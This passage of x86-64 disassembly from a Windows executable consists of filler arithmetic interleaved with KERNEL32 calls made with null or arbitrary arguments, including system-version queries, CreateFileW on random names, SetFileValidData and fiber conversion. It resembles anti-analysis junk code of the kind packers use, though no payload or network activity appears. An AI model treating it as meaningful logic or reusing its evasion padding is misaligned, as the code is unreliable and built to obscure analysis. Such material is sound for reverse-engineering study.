movzx ecx, word [rsp + 0x2dc8]
add eax, ecx
mov word [rsp + 0x2f10], ax
mov rax, qword [0x14028ee10]
mov eax, dword [rax]
mov dword [rsp + 0xb12c], eax
lea rcx, [rsp + 0x248f0]
call qword [sym.imp.KERNEL32.dll_GetVersionExW]
mov dword [rsp + 0xaf64], eax
mov eax, dword [rsp + 0xab64]
mov ecx, dword [rsp + 0x7bf4]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0xa3b8], eax
movsx eax, byte [rsp + 0x720]
mov rcx, qword [rsp + 0x14db8]
movsx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x731], al
mov rax, qword [0x14028ed38]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x14b00]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x23f4], ax
mov rax, qword [rsp + 0x152b0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x2d84]
add eax, ecx
mov word [rsp + 0x2f00], ax
lea rax, [0x140281e56]
mov qword [rsp + 0x15480], rax
mov rax, qword [rsp + 0x147f8]
mov rcx, qword [rsp + 0x140b8]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0xa0bc], eax
mov eax, dword [rsp + 0xaadc]
mov dword [0x14028eb28], eax
lea rax, [rsp + 0x73b4]
mov qword [rsp + 0x15488], rax
mov rax, qword [rsp + 0x14440]
mov eax, dword [rax]
mov ecx, dword [0x140282928]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0xabfc], eax
lea rcx, [rsp + 0x226c8]
call qword [sym.imp.KERNEL32.dll_GetNativeSystemInfo]
mov rax, qword [rsp + 0x14140]
mov ecx, dword [rsp + 0xa648]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0xa780], eax
lea rax, [rsp + 0x69b]
mov qword [rsp + 0x15490], rax
mov rax, qword [0x14028ee48]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x2b8c]
sub eax, ecx
mov word [rsp + 0x2338], ax
mov eax, dword [rsp + 0x75d4]
mov dword [rsp + 0xb130], eax
mov rax, qword [rsp + 0x14378]
mov rcx, qword [rsp + 0x140b8]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0xa7b0], eax
mov rax, qword [0x14028eb98]
mov rcx, qword [rsp + 0x14e08]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x6f20], eax
mov rax, qword [rsp + 0x14f98]
mov ecx, dword [rsp + 0x8ea0]
mov eax, dword [rax]
xor eax, ecx
mov dword [0x1402826b4], eax
mov rax, qword [0x14028ed60]
movzx eax, byte [rax]
mov byte [rsp + 0x779], al
mov rax, qword [rsp + 0x151b8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x301c]
shl eax, cl
mov word [rsp + 0x2cc0], ax
movzx eax, byte [rsp + 0x6b1]
mov byte [rsp + 0x77a], al
mov rax, qword [rsp + 0x142e8]
movsx eax, word [rax]
mov rcx, qword [0x14028ed90]
movsx ecx, word [rcx]
sar eax, cl
mov rcx, qword [rsp + 0x14ce0]
mov word [rcx], ax
mov rax, qword [rsp + 0x14ea8]
mov ecx, dword [rsp + 0xac54]
mov eax, dword [rax]
or eax, ecx
mov rcx, qword [rsp + 0x14b48]
mov dword [rcx], eax
mov rax, qword [rsp + 0x144f0]
mov ecx, dword [rsp + 0xa9c4]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x9514], eax
mov rax, qword [0x14028eb58]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x151b8]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x2c38], ax
mov rax, qword [rsp + 0x14878]
movzx eax, byte [rax]
mov byte [rsp + 0x77b], al
mov eax, dword [rsp + 0xad5c]
mov ecx, dword [rsp + 0x7cfc]
add ecx, eax
mov eax, ecx
mov dword [0x14028283c], eax
mov rax, qword [rsp + 0x15078]
mov eax, dword [rax]
mov ecx, dword [0x1402826fc]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0xa854], eax
mov eax, dword [rsp + 0x8c08]
mov dword [rsp + 0xb134], eax
mov rax, qword [rsp + 0x142b8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x739c]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0xa588], eax
movzx eax, byte [0x140281dcb]
movzx ecx, byte [rsp + 0x759]
add eax, ecx
mov rcx, qword [rsp + 0x14fc0]
mov byte [rcx], al
mov rax, qword [rsp + 0x14388]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x15c8]
add eax, ecx
mov word [rsp + 0x2928], ax
mov rax, qword [0x14028eb88]
mov ecx, dword [rsp + 0xa658]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0xa48c], eax
lea rax, [rsp + 0xa94c]
mov qword [rsp + 0x15498], rax
mov rax, qword [rsp + 0x15418]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xaf78]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x8e7c], eax
mov rax, qword [rsp + 0x15330]
mov rcx, qword [rsp + 0x148f8]
mov ecx, dword [rcx]
mov eax, dword [rax]
or eax, ecx
mov dword [0x140282938], eax
mov eax, dword [rsp + 0xa680]
mov ecx, dword [rsp + 0xad9c]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0xafc8], eax
mov rax, qword [rsp + 0x14190]
movzx eax, word [rax]
mov word [rsp + 0x30d0], ax
mov rax, qword [rsp + 0x14c50]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x14298]
movsx ecx, byte [rcx]
sar eax, cl
mov byte [rsp + 0x63e], al
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_FlushInstructionCache]
movzx eax, word [rsp + 0x1c00]
mov word [rsp + 0x30d4], ax
movzx eax, byte [rsp + 0x67d]
mov rcx, qword [rsp + 0x13f68]
movzx ecx, byte [rcx]
shl eax, cl
mov byte [rsp + 0x398], al
mov eax, dword [rsp + 0xa824]
mov ecx, dword [rsp + 0xac54]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x149d8]
mov dword [rcx], eax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
mov rax, qword [rsp + 0x15208]
mov rcx, qword [rsp + 0x14ed0]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x89c8], eax
movzx eax, byte [rsp + 0x275]
movzx ecx, byte [rsp + 0x650]
sub eax, ecx
mov byte [rsp + 0x63c], al
mov rax, qword [rsp + 0x14708]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x144b0]
movzx ecx, word [rcx]
add eax, ecx
mov word [0x14028293c], ax
lea rdx, [rsp + 0x23468]
mov rcx, qword [rsp + 0x15028]
call qword [sym.imp.KERNEL32.dll_GetFileInformationByHandle]
mov dword [rsp + 0xaab4], eax
call qword [sym.imp.KERNEL32.dll_GetCurrentThread]
mov qword [rsp + 0x154a0], rax
mov rax, qword [rsp + 0x14588]
mov eax, dword [rax]
mov dword [rsp + 0xb138], eax
mov rax, qword [rsp + 0x13ea0]
mov rcx, qword [rsp + 0x14098]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0xa394], eax
mov eax, dword [rsp + 0xa810]
mov ecx, dword [rsp + 0xa984]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x146f8]
mov dword [rcx], eax
lea rax, [rsp + 0x96e0]
mov qword [rsp + 0x154a8], rax
mov rax, qword [0x14028ed08]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x14b20]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x749], al
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ConvertThreadToFiber]
movzx eax, word [rsp + 0x2cc0]
mov word [rsp + 0x30d8], ax
mov eax, dword [rsp + 0x80fc]
mov ecx, dword [rsp + 0xb0ec]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0xa7dc], eax
mov eax, dword [rsp + 0xae88]
mov ecx, dword [rsp + 0xa2e0]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x83f4], eax
movsx eax, byte [rsp + 0x75e]
movsx ecx, byte [rsp + 0x289]
sub eax, ecx
mov byte [0x140281de3], al
movsx eax, word [rsp + 0x2f90]
mov rcx, qword [rsp + 0x15150]
movsx ecx, word [rcx]
sar eax, cl
mov word [rsp + 0x1af8], ax
mov edx, 0x71c6ec
mov rcx, qword [rsp + 0x146b0]
call qword [sym.imp.KERNEL32.dll_SetFileValidData]
mov dword [rsp + 0xaa60], eax
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [rsp + 0xa8fc], eax
mov dword [rsp + 0x24c50], 0x114
mov rax, qword [rsp + 0x152c0]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x15378]
movzx ecx, word [rcx]
xor eax, ecx
mov word [rsp + 0x304c], ax
movzx eax, byte [rsp + 0x749]
mov byte [rsp + 0x77c], al
call qword [sym.imp.KERNEL32.dll_GetCurrentThread]
mov qword [rsp + 0x154a0], rax
mov rax, qword [0x14028edb8]
mov ecx, dword [rsp + 0xb080]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0xae30], eax
mov rax, qword [rsp + 0x153f8]
mov eax, dword [rax]
mov dword [rsp + 0xb13c], eax
mov eax, dword [rsp + 0xa55c]
movzx ecx, al
mov eax, dword [rsp + 0xaa54]
shl eax, cl
mov dword [rsp + 0xaebc], eax
mov eax, dword [rsp + 0xa8dc]
mov ecx, dword [0x14028288c]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x14b68]
mov dword [rcx], eax
mov rax, qword [rsp + 0x147a0]
mov eax, dword [rax]
mov dword [rsp + 0xb140], eax
movzx eax, word [rsp + 0x2c58]
mov rcx, qword [rsp + 0x13fa0]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x2b50], ax
movzx eax, byte [rsp + 0x451]
mov byte [0x14028eb24], al
mov eax, dword [rsp + 0x85f0]
mov ecx, dword [rsp + 0xae84]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x8680], eax
mov rax, qword [rsp + 0x146c8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x9580]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x9a0c], eax
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [rsp + 0xa7b4], eax
mov rax, qword [rsp + 0x14f60]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xaeb8]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0xa480], eax
lea rax, [rsp + 0xa42c]
mov qword [rsp + 0x154b0], rax
movzx eax, byte [rsp + 0x772]
movzx ecx, byte [rsp + 0x73f]
add eax, ecx
mov byte [rsp + 0x624], al
lea rax, [rsp + 0x160c]
mov qword [rsp + 0x154b8], rax
movsx eax, word [rsp + 0x2ee8]
mov rcx, qword [rsp + 0x153a8]
movsx ecx, word [rcx]
imul eax, ecx
mov word [rsp + 0x2c2c], ax
mov rax, qword [rsp + 0x14198]
movzx eax, byte [rax]
mov byte [rsp + 0x77d], al
mov eax, dword [rsp + 0xa694]
mov ecx, dword [0x14028ebc0]
and ecx, eax
mov eax, ecx
mov dword [0x14028ee58], eax
mov rax, qword [rsp + 0x152a8]
mov rcx, qword [rsp + 0x15098]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x14260]
mov dword [rcx], eax
mov rax, qword [rsp + 0x14cf8]
movzx eax, word [rax]
movzx ecx, word [0x140282834]
add eax, ecx
mov word [rsp + 0x3084], ax
lea rax, [rsp + 0x660]
mov qword [rsp + 0x154c0], rax
mov eax, dword [rsp + 0xb0ec]
mov ecx, dword [rsp + 0xaea0]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0xa184], eax
lea rax, [0x1402828e0]
mov qword [rsp + 0x154c8], rax
mov rax, qword [rsp + 0x14ee0]
mov rcx, qword [rsp + 0x14838]
mov ecx, dword [rcx]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0xa598], eax
mov rax, qword [rsp + 0x14178]
mov ecx, dword [rsp + 0xb0b4]
mov eax, dword [rax]
xor eax, ecx
mov dword [rsp + 0xa51c], eax
call qword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [rsp + 0xa27c], eax
lea rax, [rsp + 0x678]
mov qword [rsp + 0x154d0], rax
mov rax, qword [rsp + 0x13fa0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x2f08]
sar eax, cl
mov word [0x14028273c], ax
mov eax, dword [rsp + 0xafe4]
movzx ecx, al
mov eax, dword [rsp + 0x9dbc]
shl eax, cl
mov dword [rsp + 0xa5bc], eax
mov eax, dword [rsp + 0x67e0]
mov dword [rsp + 0xb144], eax
mov rax, qword [rsp + 0x153d8]
mov ecx, dword [rsp + 0x8ba4]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0x14760]
mov dword [rcx], eax
mov rax, qword [rsp + 0x14438]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xaf14]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0xa958], eax
mov eax, dword [rsp + 0xa99c]
mov ecx, dword [0x140282854]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x73a4], eax
movsx eax, byte [rsp + 0x6a4]
mov rcx, qword [rsp + 0x14298]
movsx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x146d0]
mov byte [rcx], al
mov rax, qword [rsp + 0x14190]
movzx eax, word [rax]
mov word [rsp + 0x30dc], ax
movzx eax, word [rsp + 0x2fdc]
movzx ecx, word [rsp + 0x2f48]
sub eax, ecx
mov word [rsp + 0x3048], ax
lea rcx, [rsp + 0x24350]
call qword [sym.imp.KERNEL32.dll_GetVersionExW]
mov dword [rsp + 0xb148], eax
movzx eax, byte [rsp + 0x149]
mov rcx, qword [rsp + 0x153b0]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [0x140281e9f], al
mov rax, qword [0x14028eda8]
mov rcx, qword [rsp + 0x14380]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0xa9a8], eax
mov edx, 0xb5a
mov rcx, qword [rsp + 0x144c8]
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov dword [rsp + 0xb11c], eax
mov eax, dword [rsp + 0xa790]
mov dword [rsp + 0xb14c], eax
mov rax, qword [rsp + 0x14c10]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x145a8]
movzx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x74d], al
movzx eax, word [rsp + 0x1c38]
movzx ecx, word [rsp + 0x2ce4]
add eax, ecx
mov word [rsp + 0x1494], ax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_FreeResource]
mov rax, qword [rsp + 0x14420]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xaf10]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0xac90], eax
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateFileMappingW]
mov eax, dword [rsp + 0xac00]
mov dword [rsp + 0xb150], eax
mov eax, dword [rsp + 0xb01c]
mov rcx, qword [0x14028eb98]
mov qword [rsp + 0x154d8], rcx
movzx ecx, al
mov rax, qword [rsp + 0x154d8]
mov eax, dword [rax]
sar eax, cl
mov dword [rsp + 0xaf30], eax
mov rax, qword [rsp + 0x149a0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x7ff4]
or ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x14300]
mov dword [rcx], eax
lea rcx, [rsp + 0x21b80]
call qword [sym.imp.KERNEL32.dll_InitializeCriticalSection]
movzx eax, word [rsp + 0x300c]
movzx ecx, word [0x140282740]
shl eax, cl
mov word [0x1402827b0], ax
movzx eax, byte [rsp + 0x63a]
mov byte [rsp + 0x77e], al
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_PostQueuedCompletionStatus]
mov rax, qword [rsp + 0x14ca0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xa944]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0xad68], eax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ConvertThreadToFiber]
mov rax, qword [rsp + 0x15258]
mov ecx, dword [rsp + 0xa304]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x91b0], eax
movsx eax, byte [rsp + 0x6a4]
movsx ecx, byte [rsp + 0x735]
add eax, ecx
mov byte [rsp + 0x642], al
call qword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [rsp + 0xa2a0], eax
mov rax, qword [rsp + 0x14c60]
movsx eax, word [rax]
mov rcx, qword [0x14028ec20]
movsx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x153b8]
mov word [rcx], ax
lea rax, [rsp + 0x1f98]
mov qword [rsp + 0x154e0], rax
movzx eax, byte [rsp + 0x650]
movzx ecx, byte [rsp + 0x687]
add eax, ecx
mov byte [rsp + 0x653], al
mov eax, dword [rsp + 0x70f8]
mov dword [rsp + 0xb154], eax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], pe_nt_image_headers64
mov dword [rsp + 0x20], 1
xor r9d, r9d
mov r8d, 4
mov edx, 0x80000000
lea rcx, str.Z4uubqzKX9jhizHv0
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0x154e8], rax
mov rax, qword [0x14028ecc0]
mov rcx, qword [rsp + 0x15290]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [0x140282940], eax
mov rcx, qword [rsp + 0x14928]
call qword [sym.imp.KERNEL32.dll_GetFileType]
mov dword [rsp + 0xadcc], eax
mov rax, qword [rsp + 0x15258]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x8cec]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0xadfc], eax
mov rax, qword [rsp + 0x14a58]
mov ecx, dword [0x14028eddc]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x6554], eax
mov rax, qword [rsp + 0x15290]
mov eax, dword [rax]
mov dword [rsp + 0xb158], eax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetMailslotInfo]
mov rax, qword [rsp + 0x14430]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x2e34]
add eax, ecx
mov rcx, qword [rsp + 0x151a0]
mov word [rcx], ax
lea rax, [0x140281e32]
mov qword [rsp + 0x154f0], rax
mov rax, qword [rsp + 0x15488]
mov rcx, qword [rsp + 0x13ea0]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0xab68], eax
mov rax, qword [rsp + 0x14da0]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0xa488]
shl eax, cl
mov dword [rsp + 0xae28], eax
mov eax, dword [rsp + 0xa6a8]
mov ecx, dword [rsp + 0xae80]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0x6a04], eax
mov rax, qword [rsp + 0x14d58]
mov ecx, dword [rsp + 0x9018]
mov eax, dword [rax]
or eax, ecx
mov dword [0x140282714], eax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_EncodePointer]
mov rax, qword [rsp + 0x154f0]
movzx eax, byte [rax]
movzx ecx, byte [0x140281e3b]
sar eax, cl
mov byte [rsp + 0x662], al
lea rax, [rsp + 0x2e88]
mov qword [rsp + 0x154f8], rax
mov rax, qword [rsp + 0x14120]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x14bc0]
movsx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x14678]
mov byte [rcx], al
movzx eax, word [rsp + 0x2bbc]
mov word [rsp + 0x30e0], ax
mov rax, qword [rsp + 0x153f8]
mov ecx, dword [rsp + 0xadc8]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0xb028], eax
mov eax, dword [rsp + 0xafe8]
mov ecx, dword [rsp + 0xa710]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x14748]
mov dword [rcx], eax
lea rax, [rsp + 0x3bd]
mov qword [rsp + 0x15500], rax
mov rax, qword [rsp + 0x14918]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x2f1c]
sub eax, ecx
mov word [rsp + 0x2dd0], ax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x20
mov dword [rsp + 0x20], 3
xor r9d, r9d
mov r8d, 1
mov edx, 0x80000000
lea rcx, str.pgBL3ILksFHRqu
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0x15508], rax
mov eax, dword [rsp + 0xa6cc]
mov dword [0x14028eb20], eax
mov eax, dword [rsp + 0xaf20]
mov dword [rsp + 0xb15c], eax
mov rax, qword [rsp + 0x141d0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xaf9c]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x6828], eax
mov rax, qword [rsp + 0x14880]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xa9a8]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x6554], eax
mov rax, qword [rsp + 0x14f78]
movzx eax, word [rax]
mov word [rsp + 0x30e4], ax
movzx eax, byte [0x140281df6]
movzx ecx, byte [rsp + 0x6f5]
add eax, ecx
mov byte [rsp + 0x71f], al
mov rax, qword [rsp + 0x14ed0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xa910]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x8f34], eax
call qword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
mov dword [rsp + 0xa830], eax
mov eax, dword [rsp + 0xab6c]
mov ecx, dword [rsp + 0xa9e0]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0xb01c], eax
mov rax, qword [rsp + 0x15360]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xac00]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x8db0], eax
mov rax, qword [rsp + 0x14cb8]
mov rcx, qword [0x14028eb78]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [0x14028eb28], eax
mov eax, dword [rsp + 0xb10c]
mov dword [rsp + 0xb160], eax
movsx eax, byte [rsp + 0x643]
mov rcx, qword [rsp + 0x13ea8]
movsx ecx, byte [rcx]
xor eax, ecx
mov byte [rsp + 0x504], al
lea rax, [rsp + 0x20b0]
mov qword [rsp + 0x15510], rax
mov rax, qword [rsp + 0x15060]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x2f0c]
or eax, ecx
mov rcx, qword [rsp + 0x14918]
mov word [rcx], ax
movzx eax, byte [rsp + 0x74a]
mov byte [rsp + 0x77f], al
mov eax, dword [rsp + 0xb12c]
mov rcx, qword [rsp + 0x14510]
mov qword [rsp + 0x15518], rcx
movzx ecx, al
mov rax, qword [rsp + 0x15518]
mov eax, dword [rax]
shr eax, cl
mov dword [rsp + 0x97b0], eax
mov eax, dword [rsp + 0xad4c]
movzx ecx, al
mov eax, dword [rsp + 0xad20]
shl eax, cl
mov dword [rsp + 0xa758], eax
movzx eax, word [rsp + 0x2ed0]
mov rcx, qword [rsp + 0x152c0]
movzx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x18a4], ax
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [rsp + 0xafb4], eax
mov rax, qword [rsp + 0x14548]
movzx eax, byte [rax]
mov rcx, qword [0x14028eb30]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [0x140281eb2], al
mov rax, qword [rsp + 0x140b8]
mov rcx, qword [rsp + 0x14a40]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x8e80], eax
mov eax, dword [rsp + 0x7ff4]
mov dword [rsp + 0xb164], eax
mov rax, qword [rsp + 0x15258]
mov ecx, dword [0x14028ee1c]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0x147c0]
mov dword [rcx], eax
mov rax, qword [rsp + 0x14dd8]
mov ecx, dword [rsp + 0xa3f0]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0xa9d0], eax
mov rax, qword [rsp + 0x15490]
movzx eax, byte [rax]
mov byte [rsp + 0x780], al
movzx eax, word [rsp + 0x2aec]
movzx ecx, word [rsp + 0x29f0]
sub eax, ecx
mov word [rsp + 0x25d8], ax
mov eax, dword [rsp + 0xafcc]
mov ecx, dword [rsp + 0xa7ac]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0xa124], eax
mov rax, qword [rsp + 0x15498]
mov rcx, qword [rsp + 0x150b0]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0xa818], eax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_DecodePointer]
lea rax, [rsp + 0x335]
mov qword [0x14028eb18], rax
mov rax, qword [rsp + 0x14a98]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x147f0]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x15e8], ax
movzx eax, word [rsp + 0x3070]
mov word [rsp + 0x30e8], ax
movzx eax, byte [0x140281de2]
mov rcx, qword [rsp + 0x154c0]
movzx ecx, byte [rcx]
sar eax, cl
mov byte [rsp + 0x101], al
mov rax, qword [rsp + 0x15360]
mov eax, dword [rax]
mov dword [rsp + 0xb168], eax
mov dword [rsp + 0x20], 0x1dfb
mov r9d, 0x2ea
mov r8d, 0x2866
mov edx, 0x1328
mov rcx, qword [rsp + 0x142d0]
call qword [sym.imp.KERNEL32.dll_LockFile]
mov dword [rsp + 0xb16c], eax
mov rax, qword [rsp + 0x14dd8]
mov rcx, qword [rsp + 0x14510]
mov ecx, dword [rcx]
mov eax, dword [rax]
xor eax, ecx
mov dword [rsp + 0x6690], eax
mov eax, dword [rsp + 0xb008]
movzx ecx, al
mov eax, dword [rsp + 0xaa58]
shl eax, cl
mov dword [rsp + 0x96cc], eax
mov rax, qword [rsp + 0x14018]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x8b90]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0x74fc], eax
mov rax, qword [rsp + 0x15318]
mov eax, dword [rax]
mov ecx, dword [0x140282828]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x14d58]
mov dword [rcx], eax
mov rcx, qword [rsp + 0x14c48]
call qword [sym.imp.KERNEL32.dll_GetFileType]
mov dword [rsp + 0xafb4], eax
movzx eax, byte [rsp + 0x691]
mov byte [rsp + 0x781], al
lea rax, [rsp + 0x2b60]
mov qword [0x14028eb10], rax
xor r9d, r9d
lea r8, [rsp + 0x13f80]
mov rdx, qword [rsp + 0x15520]
mov rcx, qword [rsp + 0x14ea0]
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov dword [rsp + 0xa850], eax
mov rax, qword [rsp + 0x15128]
mov rcx, qword [0x14028ee98]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0xa3a8], eax
mov rax, qword [rsp + 0x140f0]
mov eax, dword [rax]
mov dword [rsp + 0xb170], eax
movzx ecx, word [rsp + 0x2e50]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x2ec0], ax
mov rax, qword [rsp + 0x14de0]
mov rcx, qword [rsp + 0x149c0]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x8724], eax
mov rax, qword [0x14028ee70]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x9498]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0xa370], eax
mov rax, qword [rsp + 0x14d40]
movzx eax, word [rax]
mov word [rsp + 0x30ec], ax
lea rdx, [rsp + 0x23430]
mov rcx, qword [rsp + 0x14e68]
call qword [sym.imp.KERNEL32.dll_GetFileInformationByHandle]
mov dword [rsp + 0xb174], eax
mov rax, qword [rsp + 0x149c8]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x3ed]
sub eax, ecx
mov byte [rsp + 0x6c9], al
movsx eax, word [rsp + 0x1b80]
mov rcx, qword [rsp + 0x14e38]
movsx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x2008], ax
movsx eax, byte [rsp + 0x680]
movsx ecx, byte [rsp + 0x6a4]
add eax, ecx
mov byte [rsp + 0x6ff], al
mov rax, qword [rsp + 0x14a18]
mov ecx, dword [rsp + 0xab80]
mov eax, dword [rax]
add eax, ecx
mov dword [0x140282748], eax
mov rax, qword [rsp + 0x14c98]
mov rcx, qword [rsp + 0x14630]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0xa54c], eax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_IsWow64Process]
movzx eax, word [rsp + 0x2cf4]
mov word [rsp + 0x30f0], ax
mov rax, qword [rsp + 0x14250]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x704]
sub eax, ecx
mov byte [rsp + 0x65a], al
call qword [sym.imp.KERNEL32.dll_AreFileApisANSI]
mov dword [rsp + 0xb030], eax
lea rax, [rsp + 0x8d88]
mov qword [rsp + 0x15528], rax
mov eax, dword [rsp + 0xab48]
movzx ecx, al
mov eax, dword [rsp + 0x9834]
shr eax, cl
mov rcx, qword [rsp + 0x14440]
mov dword [rcx], eax
mov rax, qword [rsp + 0x14f90]
mov rcx, qword [rsp + 0x14098]
mov ecx, dword [rcx]
mov eax, dword [rax]
xor eax, ecx
